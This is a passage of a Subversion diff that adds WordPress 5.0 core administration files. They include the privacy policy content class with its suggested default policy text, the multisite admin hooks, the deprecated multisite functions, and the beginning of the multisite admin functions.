+	public static function _policy_page_updated( $post_id ) {
+		$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
+
+		if ( ! $policy_page_id || $policy_page_id !== (int) $post_id ) {
+			return;
+		}
+
+		// Remove updated|removed status.
+		$old = (array) get_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
+		$done = array();
+		$update_cache = false;
+
+		foreach ( $old as $old_key => $old_data ) {
+			if ( ! empty( $old_data['removed'] ) ) {
+				// Remove the old policy text.
+				$update_cache = true;
+				continue;
+			}
+
+			if ( ! empty( $old_data['updated'] ) ) {
+				// 'updated' is now 'added'.
+				$done[] = array(
+					'plugin_name' => $old_data['plugin_name'],
+					'policy_text' => $old_data['policy_text'],
+					'added'       => $old_data['updated'],
+				);
+				$update_cache = true;
+			} else {
+				$done[] = $old_data;
+			}
+		}
+
+		if ( $update_cache ) {
+			delete_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
+			// Update the cache.
+			foreach ( $done as $data ) {
+				add_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content', $data );
+			}
+		}
+	}
+
+	/**
+	 * Check for updated, added or removed privacy policy information from plugins.
+	 *
+	 * Caches the current info in post_meta of the policy page.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @return array The privacy policy text/informtion added by core and plugins.
+	 */
+	public static function get_suggested_policy_text() {
+		$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
+		$checked = array();
+		$time = time();
+		$update_cache = false;
+		$new = self::$policy_content;
+		$old = array();
+
+		if ( $policy_page_id ) {
+			$old = (array) get_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
+		}
+
+		// Check for no-changes and updates.
+		foreach ( $new as $new_key => $new_data ) {
+			foreach ( $old as $old_key => $old_data ) {
+				$found = false;
+
+				if ( $new_data['policy_text'] === $old_data['policy_text'] ) {
+					// Use the new plugin name in case it was changed, translated, etc.
+					if ( $old_data['plugin_name'] !== $new_data['plugin_name'] ) {
+						$old_data['plugin_name'] = $new_data['plugin_name'];
+						$update_cache = true;
+					}
+
+					// A plugin was re-activated.
+					if ( ! empty( $old_data['removed'] ) ) {
+						unset( $old_data['removed'] );
+						$old_data['added'] = $time;
+						$update_cache = true;
+					}
+
+					$checked[] = $old_data;
+					$found = true;
+				} elseif ( $new_data['plugin_name'] === $old_data['plugin_name'] ) {
+					// The info for the policy was updated.
+					$checked[] = array(
+						'plugin_name' => $new_data['plugin_name'],
+						'policy_text' => $new_data['policy_text'],
+						'updated'     => $time,
+					);
+					$found = $update_cache = true;
+				}
+
+				if ( $found ) {
+					unset( $new[ $new_key ], $old[ $old_key ] );
+					continue 2;
+				}
+			}
+		}
+
+		if ( ! empty( $new ) ) {
+			// A plugin was activated.
+			foreach ( $new as $new_data ) {
+				if ( ! empty( $new_data['plugin_name'] ) && ! empty( $new_data['policy_text'] ) ) {
+					$new_data['added'] = $time;
+					$checked[]         = $new_data;
+				}
+			}
+			$update_cache = true;
+		}
+
+		if ( ! empty( $old ) ) {
+			// A plugin was deactivated.
+			foreach ( $old as $old_data ) {
+				if ( ! empty( $old_data['plugin_name'] ) && ! empty( $old_data['policy_text'] ) ) {
+					$data = array(
+						'plugin_name' => $old_data['plugin_name'],
+						'policy_text' => $old_data['policy_text'],
+						'removed'     => $time,
+					);
+
+					$checked[] = $data;
+				}
+			}
+			$update_cache = true;
+		}
+
+		if ( $update_cache && $policy_page_id ) {
+			delete_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
+			// Update the cache.
+			foreach ( $checked as $data ) {
+				add_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content', $data );
+			}
+		}
+
+		return $checked;
+	}
+
+	/**
+	 * Add a notice with a link to the guide when editing the privacy policy page.
+	 *
+	 * @since 4.9.6
+	 * @since 5.0.0 The $post parameter is now optional.
+	 *
+	 * @param WP_Post|null $post The currently edited post. Default null.
+	 */
+	public static function notice( $post = null ) {
+		$post = get_post( $post );
+
+		if ( ! ( $post instanceof WP_Post ) ) {
+			return;
+		}
+
+		if ( ! current_user_can( 'manage_privacy_options' ) ) {
+			return;
+		}
+
+		$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
+
+		if ( ! $policy_page_id || $policy_page_id != $post->ID ) {
+			return;
+		}
+
+		?>
+		<div class="notice notice-warning inline wp-pp-notice">
+			<p>
+			<?php
+			/* translators: 1: Privacy Policy guide URL, 2: additional link attributes, 3: accessibility text */
+			printf(
+				__( 'Need help putting together your new Privacy Policy page? <a href="%1$s" %2$s>Check out our guide%3$s</a> for recommendations on what content to include, along with policies suggested by your plugins and theme.' ),
+				admin_url( 'tools.php?wp-privacy-policy-guide=1' ),
+				'target="_blank"',
+				sprintf(
+					'<span class="screen-reader-text"> %s</span>',
+					/* translators: accessibility text */
+					__( '(opens in a new tab)' )
+				)
+			);
+			?>
+			</p>
+		</div>
+		<?php
+
+	}
+
+	/**
+	 * Output the privacy policy guide together with content from the theme and plugins.
+	 *
+	 * @since 4.9.6
+	 */
+	public static function privacy_policy_guide() {
+
+		$content_array = self::get_suggested_policy_text();
+
+		$content = '';
+		$toc = array( '<li><a href="#wp-privacy-policy-guide-introduction">' . __( 'Introduction' ) . '</a></li>' );
+		$date_format = __( 'F j, Y' );
+		$copy = __( 'Copy' );
+		$return_to_top = '<a href="#" class="return-to-top">' . __( '&uarr; Return to Top' ) . '</a>';
+
+		foreach ( $content_array as $section ) {
+			$class = $meta = $removed = '';
+
+			if ( ! empty( $section['removed'] ) ) {
+				$class = ' text-removed';
+				$date = date_i18n( $date_format, $section['removed'] );
+				$meta  = sprintf( __( 'Removed %s.' ), $date );
+
+				$removed = __( 'You deactivated this plugin on %s and may no longer need this policy.' );
+				$removed = '<div class="error inline"><p>' . sprintf( $removed, $date ) . '</p></div>';
+			} elseif ( ! empty( $section['updated'] ) ) {
+				$class = ' text-updated';
+				$date = date_i18n( $date_format, $section['updated'] );
+				$meta  = sprintf( __( 'Updated %s.' ), $date );
+			}
+
+			if ( $meta ) {
+				$meta = '<br><span class="privacy-text-meta">' . $meta . '</span>';
+			}
+
+			$plugin_name = esc_html( $section['plugin_name'] );
+			$toc_id = 'wp-privacy-policy-guide-' . sanitize_title( $plugin_name );
+			$toc[] = sprintf( '<li><a href="#%1$s">%2$s</a>' . $meta . '</li>', $toc_id, $plugin_name );
+
+			$content .= '<div class="privacy-text-section' . $class . '">';
+			$content .= '<a id="' . $toc_id . '">&nbsp;</a>';
+			/* translators: %s: plugin name */
+			$content .= '<h2>' . sprintf( __( 'Source: %s' ), $plugin_name ) . '</h2>';
+			$content .= $removed;
+
+			$content .= '<div class="policy-text">' . $section['policy_text'] . '</div>';
+			$content .= $return_to_top;
+
+			if ( empty( $section['removed'] ) ) {
+				$content .= '<div class="privacy-text-actions">';
+					$content .= '<button type="button" class="privacy-text-copy button">';
+						$content .= $copy;
+						$content .= '<span class="screen-reader-text">' . sprintf( __( 'Copy suggested policy text from %s.' ), $plugin_name ) . '</span>';
+					$content .= '</button>';
+				$content .= '</div>';
+			}
+
+			$content .= "</div>\n"; // End of .privacy-text-section.
+		}
+
+		if ( count( $toc ) > 2 ) {
+			?>
+			<div  class="privacy-text-box-toc">
+				<p><?php _e( 'Table of Contents' ); ?></p>
+				<ol>
+					<?php echo implode( "\n", $toc ); ?>
+				</ol>
+			</div>
+			<?php
+		}
+
+		?>
+		<div class="privacy-text-box">
+			<div class="privacy-text-box-head">
+				<a id="wp-privacy-policy-guide-introduction">&nbsp;</a>
+				<h2><?php _e( 'Introduction' ); ?></h2>
+				<p><?php _e( 'Hello,' ); ?></p>
+				<p><?php _e( 'This text template will help you to create your web site&#8217;s privacy policy.' ); ?></p>
+				<p><?php _e( 'We have suggested the sections you will need. Under each section heading you will find a short summary of what information you should provide, which will help you to get started. Some sections include suggested policy content, others will have to be completed with information from your theme and plugins.' ); ?></p>
+				<p><?php _e( 'Please edit your privacy policy content, making sure to delete the summaries, and adding any information from your theme and plugins. Once you publish your policy page, remember to add it to your navigation menu.' ); ?></p>
+				<p><?php _e( 'It is your responsibility to write a comprehensive privacy policy, to make sure it reflects all national and international legal requirements on privacy, and to keep your policy current and accurate.' ); ?></p>
+			</div>
+
+			<div class="privacy-text-box-body">
+				<?php echo $content; ?>
+			</div>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Return the default suggested privacy policy content.
+	 *
+	 * @since 4.9.6
+	 * @since 5.0.0 Added the `$blocks` parameter.
+	 *
+	 * @param bool $description Whether to include the descriptions under the section headings. Default false.
+	 * @param bool $blocks      Whether to format the content for the block editor. Default true.
+	 * @return string The default policy content.
+	 */
+	public static function get_default_content( $description = false, $blocks = true ) {
+		$suggested_text = $description ? '<strong class="privacy-policy-tutorial">' . __( 'Suggested text:' ) . ' </strong>' : '';
+		$content = '';
+		$strings = array();
+
+		// Start of the suggested privacy policy text.
+		if ( $description ) {
+			$strings[] = '<div class="wp-suggested-text">';
+		}
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h2>' . __( 'Who we are' ) . '</h2>';
+
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should note your site URL, as well as the name of the company, organization, or individual behind it, and some accurate contact information.' ) . '</p>';
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'The amount of information you may be required to show will vary depending on your local or national business regulations. You may, for example, be required to display a physical address, a registered address, or your company registration number.' ) . '</p>';
+		}
+
+		/* translators: default privacy policy text, %s Site URL. */
+		$strings[] = '<p>' . $suggested_text . sprintf( __( 'Our website address is: %s.' ), get_bloginfo( 'url', 'display' ) ) . '</p>';
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h2>' . __( 'What personal data we collect and why we collect it' ) . '</h2>';
+
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should note what personal data you collect from users and site visitors. This may include personal data, such as name, email address, personal account preferences; transactional data, such as purchase information; and technical data, such as information about cookies.' ) . '</p>';
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'You should also note any collection and retention of sensitive personal data, such as data concerning health.' ) . '</p>';
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In addition to listing what personal data you collect, you need to note why you collect it. These explanations must note either the legal basis for your data collection and retention or the active consent the user has given.' ) . '</p>';
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'Personal data is not just created by a user&#8217;s interactions with your site. Personal data is also generated from technical processes such as contact forms, comments, cookies, analytics, and third party embeds.' ) . '</p>';
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'By default WordPress does not collect any personal data about visitors, and only collects the data shown on the User Profile screen from registered users. However some of your plugins may collect personal data. You should add the relevant information below.' ) . '</p>';
+		}
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h3>' . __( 'Comments' ) . '</h3>';
+
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this subsection you should note what information is captured through comments. We have noted the data which WordPress collects by default.' ) . '</p>';
+		}
+
+		/* translators: default privacy policy text. */
+		$strings[] = '<p>' . $suggested_text . __( 'When visitors leave comments on the site we collect the data shown in the comments form, and also the visitor&#8217;s IP address and browser user agent string to help spam detection.' ) . '</p>';
+		/* translators: default privacy policy text. */
+		$strings[] = '<p>' . __( 'An anonymized string created from your email address (also called a hash) may be provided to the Gravatar service to see if you are using it. The Gravatar service privacy policy is available here: https://automattic.com/privacy/. After approval of your comment, your profile picture is visible to the public in the context of your comment.' ) . '</p>';
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h3>' . __( 'Media' ) . '</h3>';
+
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this subsection you should note what information may be disclosed by users who can upload media files. All uploaded files are usually publicly accessible.' ) . '</p>';
+		}
+
+		/* translators: default privacy policy text. */
+		$strings[] = '<p>' . $suggested_text . __( 'If you upload images to the website, you should avoid uploading images with embedded location data (EXIF GPS) included. Visitors to the website can download and extract any location data from images on the website.' ) . '</p>';
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h3>' . __( 'Contact forms' ) . '</h3>';
+
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'By default, WordPress does not include a contact form. If you use a contact form plugin, use this subsection to note what personal data is captured when someone submits a contact form, and how long you keep it. For example, you may note that you keep contact form submissions for a certain period for customer service purposes, but you do not use the information submitted through them for marketing purposes.' ) . '</p>';
+		}
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h3>' . __( 'Cookies' ) . '</h3>';
+
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this subsection you should list the cookies your web site uses, including those set by your plugins, social media, and analytics. We have provided the cookies which WordPress installs by default.' ) . '</p>';
+		}
+
+		/* translators: default privacy policy text. */
+		$strings[] = '<p>' . $suggested_text . __( 'If you leave a comment on our site you may opt-in to saving your name, email address and website in cookies. These are for your convenience so that you do not have to fill in your details again when you leave another comment. These cookies will last for one year.' ) . '</p>';
+		/* translators: default privacy policy text. */
+		$strings[] = '<p>' . __( 'If you have an account and you log in to this site, we will set a temporary cookie to determine if your browser accepts cookies. This cookie contains no personal data and is discarded when you close your browser.' ) . '</p>';
+		/* translators: default privacy policy text. */
+		$strings[] = '<p>' . __( 'When you log in, we will also set up several cookies to save your login information and your screen display choices. Login cookies last for two days, and screen options cookies last for a year. If you select &quot;Remember Me&quot;, your login will persist for two weeks. If you log out of your account, the login cookies will be removed.' ) . '</p>';
+		/* translators: default privacy policy text. */
+		$strings[] = '<p>' . __( 'If you edit or publish an article, an additional cookie will be saved in your browser. This cookie includes no personal data and simply indicates the post ID of the article you just edited. It expires after 1 day.' ) . '</p>';
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h3>' . __( 'Embedded content from other websites' ) . '</h3>';
+		/* translators: default privacy policy text. */
+		$strings[] = '<p>' . $suggested_text . __( 'Articles on this site may include embedded content (e.g. videos, images, articles, etc.). Embedded content from other websites behaves in the exact same way as if the visitor has visited the other website.' ) . '</p>';
+		/* translators: default privacy policy text. */
+		$strings[] = '<p>' . __( 'These websites may collect data about you, use cookies, embed additional third-party tracking, and monitor your interaction with that embedded content, including tracking your interaction with the embedded content if you have an account and are logged in to that website.' ) . '</p>';
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h3>' . __( 'Analytics' ) . '</h3>';
+
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this subsection you should note what analytics package you use, how users can opt out of analytics tracking, and a link to your analytics provider&#8217;s privacy policy, if any.' ) . '</p>';
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'By default WordPress does not collect any analytics data. However, many web hosting accounts collect some anonymous analytics data. You may also have installed a WordPress plugin that provides analytics services. In that case, add information from that plugin here.' ) . '</p>';
+		}
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h2>' . __( 'Who we share your data with' ) . '</h2>';
+
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should name and list all third party providers with whom you share site data, including partners, cloud-based services, payment processors, and third party service providers, and note what data you share with them and why. Link to their own privacy policies if possible.' ) . '</p>';
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'By default WordPress does not share any personal data with anyone.' ) . '</p>';
+		}
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h2>' . __( 'How long we retain your data' ) . '</h2>';
+		
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should explain how long you retain personal data collected or processed by the web site. While it is your responsibility to come up with the schedule of how long you keep each dataset for and why you keep it, that information does need to be listed here. For example, you may want to say that you keep contact form entries for six months, analytics records for a year, and customer purchase records for ten years.' ) . '</p>';
+		}
+
+		/* translators: default privacy policy text. */
+		$strings[] = '<p>' . $suggested_text . __( 'If you leave a comment, the comment and its metadata are retained indefinitely. This is so we can recognize and approve any follow-up comments automatically instead of holding them in a moderation queue.' ) . '</p>';
+		/* translators: default privacy policy text. */
+		$strings[] = '<p>' . __( 'For users that register on our website (if any), we also store the personal information they provide in their user profile. All users can see, edit, or delete their personal information at any time (except they cannot change their username). Website administrators can also see and edit that information.' ) . '</p>';
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h2>' . __( 'What rights you have over your data' ) . '</h2>';
+
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should explain what rights your users have over their data and how they can invoke those rights.' ) . '</p>';
+		}
+
+		/* translators: default privacy policy text. */
+		$strings[] = '<p>' . $suggested_text . __( 'If you have an account on this site, or have left comments, you can request to receive an exported file of the personal data we hold about you, including any data you have provided to us. You can also request that we erase any personal data we hold about you. This does not include any data we are obliged to keep for administrative, legal, or security purposes.' ) . '</p>';
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h2>' . __( 'Where we send your data' ) . '</h2>';
+
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should list all transfers of your site data outside the European Union and describe the means by which that data is safeguarded to European data protection standards. This could include your web hosting, cloud storage, or other third party services.' ) . '</p>';
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'European data protection law requires data about European residents which is transferred outside the European Union to be safeguarded to the same standards as if the data was in Europe. So in addition to listing where data goes, you should describe how you ensure that these standards are met either by yourself or by your third party providers, whether that is through an agreement such as Privacy Shield, model clauses in your contracts, or binding corporate rules.' ) . '</p>';
+		}
+
+		/* translators: default privacy policy text. */
+		$strings[] = '<p>' . $suggested_text . __( 'Visitor comments may be checked through an automated spam detection service.' ) . '</p>';
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h2>' . __( 'Your contact information' ) . '</h2>';
+
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should provide a contact method for privacy-specific concerns. If you are required to have a Data Protection Officer, list their name and full contact details here as well.' ) . '</p>';
+		}
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h2>' . __( 'Additional information' ) . '</h2>';
+
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'If you use your site for commercial purposes and you engage in more complex collection or processing of personal data, you should note the following information in your privacy policy in addition to the information we have already discussed.' ) . '</p>';
+		}
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h3>' . __( 'How we protect your data' ) . '</h3>';
+
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should explain what measures you have taken to protect your users&#8217; data. This could include technical measures such as encryption; security measures such as two factor authentication; and measures such as staff training in data protection. If you have carried out a Privacy Impact Assessment, you can mention it here too.' ) . '</p>';
+		}
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h3>' . __( 'What data breach procedures we have in place' ) . '</h3>';
+
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should explain what procedures you have in place to deal with data breaches, either potential or real, such as internal reporting systems, contact mechanisms, or bug bounties.' ) . '</p>';
+		}
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h3>' . __( 'What third parties we receive data from' ) . '</h3>';
+
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'If your web site receives data about users from third parties, including advertisers, this information must be included within the section of your privacy policy dealing with third party data.' ) . '</p>';
+		}
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h3>' . __( 'What automated decision making and/or profiling we do with user data' ) . '</h3>';
+
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'If your web site provides a service which includes automated decision making - for example, allowing customers to apply for credit, or aggregating their data into an advertising profile - you must note that this is taking place, and include information about how that information is used, what decisions are made with that aggregated data, and what rights users have over decisions made without human intervention.' ) . '</p>';
+		}
+
+		/* translators: default privacy policy heading. */
+		$strings[] = '<h3>' . __( 'Industry regulatory disclosure requirements' ) . '</h3>';
+
+		if ( $description ) {
+			/* translators: privacy policy tutorial. */
+			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'If you are a member of a regulated industry, or if you are subject to additional privacy laws, you may be required to disclose that information here.' ) . '</p>';
+			$strings[] = '</div>';
+		}
+
+		if ( $blocks ) {
+			foreach ( $strings as $key => $string ) {
+				if ( 0 === strpos( $string, '<p>' ) ) {
+					$strings[ $key ] = '<!-- wp:paragraph -->' . $string . '<!-- /wp:paragraph -->';
+				}
+
+				if ( 0 === strpos( $string, '<h2>' ) ) {
+					$strings[ $key ] = '<!-- wp:heading -->' . $string . '<!-- /wp:heading -->';
+				}
+
+				if ( 0 === strpos( $string, '<h3>' ) ) {
+					$strings[ $key ] = '<!-- wp:heading {"level":3} -->' . $string . '<!-- /wp:heading -->';
+				}
+			}
+		}
+
+		$content = implode( '', $strings );
+		// End of the suggested privacy policy text.
+
+		/**
+		 * Filters the default content suggested for inclusion in a privacy policy.
+		 *
+		 * @since 4.9.6
+		 * @since 5.0.0 Added the `$strings`, `$description`, and `$blocks` parameters.
+		 *
+		 * @param $content     string The default policy content.
+		 * @param $strings     array  An array of privacy policy content strings.
+		 * @param $description bool   Whether policy descriptions should be included.
+		 * @param $blocks      bool   Whether the content should be formatted for the block editor.
+		 */
+		return apply_filters( 'wp_get_default_privacy_policy_content', $content, $strings, $description, $blocks );
+	}
+
+	/**
+	 * Add the suggested privacy policy text to the policy postbox.
+	 *
+	 * @since 4.9.6
+	 */
+	public static function add_suggested_content() {
+		$content = self::get_default_content( true, false );
+		wp_add_privacy_policy_content( __( 'WordPress' ), $content );
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/ms-admin-filters.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/ms-admin-filters.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/ms-admin-filters.php	(revision 56912)
@@ -0,0 +1,44 @@
+<?php
+/**
+ * Multisite Administration hooks
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 4.3.0
+ */
+
+// Media Hooks.
+add_filter( 'wp_handle_upload_prefilter', 'check_upload_size' );
+
+// User Hooks
+add_action( 'user_admin_notices', 'new_user_email_admin_notice' );
+add_action( 'network_admin_notices', 'new_user_email_admin_notice' );
+
+add_action( 'admin_page_access_denied', '_access_denied_splash', 99 );
+
+// Site Hooks.
+add_action( 'wpmueditblogaction', 'upload_space_setting' );
+
+// Network hooks
+add_action( 'update_site_option_admin_email', 'wp_network_admin_email_change_notification', 10, 4 );
+
+// Taxonomy Hooks
+add_filter( 'get_term', 'sync_category_tag_slugs', 10, 2 );
+
+// Post Hooks.
+add_filter( 'wp_insert_post_data', 'avoid_blog_page_permalink_collision', 10, 2 );
+
+// Tools Hooks.
+add_filter( 'import_allow_create_users', 'check_import_new_users' );
+
+// Notices Hooks
+add_action( 'admin_notices',         'site_admin_notice' );
+add_action( 'network_admin_notices', 'site_admin_notice' );
+
+// Update Hooks
+add_action( 'network_admin_notices', 'update_nag',      3  );
+add_action( 'network_admin_notices', 'maintenance_nag', 10 );
+
+// Network Admin Hooks
+add_action( 'add_site_option_new_admin_email',    'update_network_option_new_admin_email', 10, 2 );
+add_action( 'update_site_option_new_admin_email', 'update_network_option_new_admin_email', 10, 2 );
Index: /tags/5.0.20/src/wp-admin/includes/ms-deprecated.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/ms-deprecated.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/ms-deprecated.php	(revision 56912)
@@ -0,0 +1,105 @@
+<?php
+/**
+ * Multisite: Deprecated admin functions from past versions and WordPress MU
+ *
+ * These functions should not be used and will be removed in a later version.
+ * It is suggested to use for the alternatives instead when available.
+ *
+ * @package WordPress
+ * @subpackage Deprecated
+ * @since 3.0.0
+ */
+
+/**
+ * Outputs the WPMU menu.
+ *
+ * @deprecated 3.0.0
+ */
+function wpmu_menu() {
+	_deprecated_function(__FUNCTION__, '3.0.0' );
+	// Deprecated. See #11763.
+}
+
+/**
+ * Determines if the available space defined by the admin has been exceeded by the user.
+ *
+ * @deprecated 3.0.0 Use is_upload_space_available()
+ * @see is_upload_space_available()
+ */
+function wpmu_checkAvailableSpace() {
+	_deprecated_function(__FUNCTION__, '3.0.0', 'is_upload_space_available()' );
+
+	if ( !is_upload_space_available() )
+		wp_die( __('Sorry, you must delete files before you can upload any more.') );
+}
+
+/**
+ * WPMU options.
+ *
+ * @deprecated 3.0.0
+ */
+function mu_options( $options ) {
+	_deprecated_function(__FUNCTION__, '3.0.0' );
+	return $options;
+}
+
+/**
+ * Deprecated functionality for activating a network-only plugin.
+ *
+ * @deprecated 3.0.0 Use activate_plugin()
+ * @see activate_plugin()
+ */
+function activate_sitewide_plugin() {
+	_deprecated_function(__FUNCTION__, '3.0.0', 'activate_plugin()' );
+	return false;
+}
+
+/**
+ * Deprecated functionality for deactivating a network-only plugin.
+ *
+ * @deprecated 3.0.0 Use deactivate_plugin()
+ * @see deactivate_plugin()
+ */
+function deactivate_sitewide_plugin( $plugin = false ) {
+	_deprecated_function(__FUNCTION__, '3.0.0', 'deactivate_plugin()' );
+}
+
+/**
+ * Deprecated functionality for determining if the current plugin is network-only.
+ *
+ * @deprecated 3.0.0 Use is_network_only_plugin()
+ * @see is_network_only_plugin()
+ */
+function is_wpmu_sitewide_plugin( $file ) {
+	_deprecated_function(__FUNCTION__, '3.0.0', 'is_network_only_plugin()' );
+	return is_network_only_plugin( $file );
+}
+
+/**
+ * Deprecated functionality for getting themes network-enabled themes.
+ *
+ * @deprecated 3.4.0 Use WP_Theme::get_allowed_on_network()
+ * @see WP_Theme::get_allowed_on_network()
+ */
+function get_site_allowed_themes() {
+	_deprecated_function( __FUNCTION__, '3.4.0', 'WP_Theme::get_allowed_on_network()' );
+	return array_map( 'intval', WP_Theme::get_allowed_on_network() );
+}
+
+/**
+ * Deprecated functionality for getting themes allowed on a specific site.
+ *
+ * @deprecated 3.4.0 Use WP_Theme::get_allowed_on_site()
+ * @see WP_Theme::get_allowed_on_site()
+ */
+function wpmu_get_blog_allowedthemes( $blog_id = 0 ) {
+	_deprecated_function( __FUNCTION__, '3.4.0', 'WP_Theme::get_allowed_on_site()' );
+	return array_map( 'intval', WP_Theme::get_allowed_on_site( $blog_id ) );
+}
+
+/**
+ * Deprecated functionality for determining whether a file is deprecated.
+ *
+ * @deprecated 3.5.0
+ */
+function ms_deprecated_blogs_file() {}
Index: /tags/5.0.20/src/wp-admin/includes/ms.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/ms.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/ms.php	(revision 56912)
@@ -0,0 +1,998 @@
+<?php
+/**
+ * Multisite administration functions.
+ *
+ * @package WordPress
+ * @subpackage Multisite
+ * @since 3.0.0
+ */
+
+/**
+ * Determine if uploaded file exceeds space quota.
+ *
+ * @since 3.0.0
+ *
+ * @param array $file $_FILES array for a given file.
+ * @return array $_FILES array with 'error' key set if file exceeds quota. 'error' is empty otherwise.
+ */
+function check_upload_size( $file ) {
+	if ( get_site_option( 'upload_space_check_disabled' ) )
+		return $file;
+
+	if ( $file['error'] != '0' ) // there's already an error
+		return $file;
+
+	if ( defined( 'WP_IMPORTING' ) )
+		return $file;
+
+	$space_left = get_upload_space_available();
+
+	$file_size = filesize( $file['tmp_name'] );
+	if ( $space_left < $file_size ) {
+		/* translators: 1: Required disk space in kilobytes */
+		$file['error'] = sprintf( __( 'Not enough space to upload. %1$s KB needed.' ), number_format( ( $file_size - $space_left ) / KB_IN_BYTES ) );
+	}
+
+	if ( $file_size > ( KB_IN_BYTES * get_site_option( 'fileupload_maxk', 1500 ) ) ) {
+		/* translators: 1: Maximum allowed file size in kilobytes */
+		$file['error'] = sprintf( __( 'This file is too big. Files must be less than %1$s KB in size.' ), get_site_option( 'fileupload_maxk', 1500 ) );
+	}
+
+	if ( upload_is_user_over_quota( false ) ) {
+		$file['error'] = __( 'You have used your space quota. Please delete files before uploading.' );
+	}
+
+	if ( $file['error'] != '0' && ! isset( $_POST['html-upload'] ) && ! wp_doing_ajax() ) {
+		wp_die( $file['error'] . ' <a href="javascript:history.go(-1)">' . __( 'Back' ) . '</a>' );
+	}
+
+	return $file;
+}
+
+/**
+ * Delete a site.
+ *
+ * @since 3.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int  $blog_id Site ID.
+ * @param bool $drop    True if site's database tables should be dropped. Default is false.
+ */
+function wpmu_delete_blog( $blog_id, $drop = false ) {
+	global $wpdb;
+
+	$switch = false;
+	if ( get_current_blog_id() != $blog_id ) {
+		$switch = true;
+		switch_to_blog( $blog_id );
+	}
+
+	$blog = get_site( $blog_id );
+	/**
+	 * Fires before a site is deleted.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param int  $blog_id The site ID.
